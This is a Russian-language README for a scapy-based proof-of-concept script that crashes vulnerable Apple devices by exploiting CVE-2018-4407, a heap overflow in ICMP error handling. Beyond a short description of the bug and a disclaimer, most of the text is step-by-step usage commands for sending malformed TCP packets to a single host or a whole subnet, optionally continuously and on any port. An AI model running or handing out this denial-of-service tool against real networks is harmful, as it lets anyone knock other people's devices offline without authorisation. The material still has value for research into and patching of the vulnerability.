
Выводит из строя устройства Apple в сети с помощью CVE-2018-4407 (переполнение кучи при обработке повреждённых пакетов)
Основано на CVE-2018-4407 (https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407), этом твите и этом видео. Ошибка представляет собой уязвимость переполнения кучи при обработке повреждённых пакетов, когда ОС пытается отправить ICMP-сообщение, содержащее фрагменты повреждённого пакета, обратно отправителю.

Этот PoC вызывает сбой уязвимых устройств Apple, отправляя повреждённые TCP-пакеты с длинными опциями TCP/IP-заголовков, чтобы переполнить ICMP-сообщение, когда устройство пытается отправить сообщение об ошибке. Вам нужна возможность отправлять сетевые пакеты напрямую на устройство (например, в той же локальной сети).
Следующие версии операционных систем и устройства уязвимы:
ТОЛЬКО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ. НЕ ИСПОЛЬЗУЙТЕ ЭТОТ СКРИПТ ДЛЯ ПРОТИВОПРАВНЫХ ДЕЙСТВИЙ. АВТОР НЕ НЕСЁТ ОТВЕТСТВЕННОСТИ ЗА ЛЮБОЕ НЕПРАВИЛЬНОЕ ИСПОЛЬЗОВАНИЕ ИЛИ УЩЕРБ.
Убедитесь, что у вас установлены Python 3 и scapy.
pip install scapy
# or
pip3 install scapy
Возможно, вам потребуется запустить скрипт с правами root.
Отправьте повреждённый пакет в подсеть 192.168.1.0/24.
sudo ./appledos.py 192.168.1.0/24
Показывает IP-адрес после отправки пакета.
sudo ./appledos.py --verbose 192.168.1.0/24
Непрерывно отправляет повреждённые пакеты в подсеть 192.168.1.0/24.
sudo ./appledos.py --continuous 192.168.1.0/24
Изменить порт назначения (по умолчанию: 80). Можно изменить на любой порт, поскольку устройства отвечают на любой входящий пакет на любой порт, но стоит учитывать блокировку портов или межсетевой экран на хосте или в сети.
sudo ./appledos.py --continuous --port 22 192.168.1.0/24
Отправить повреждённый пакет только на один IP-адрес.
sudo ./appledos.py 192.168.1.118
Установить максимальное количество рабочих процессов (по умолчанию: 100).
sudo ./appledos.py --worker 10 192.168.1.0/24
Этот скрипт использует scapy, и у него есть известная проблема с обработкой /dev/bpf (Berkeley Packet Filter) при отправке пакетов из ОС вроде macOS с многопоточностью. Если вы столкнулись с сообщением No /dev/bpf handle is available, попробуйте уменьшить количество рабочих процессов до 1 или 2. Либо просто используйте Linux, как в демонстрационном видео.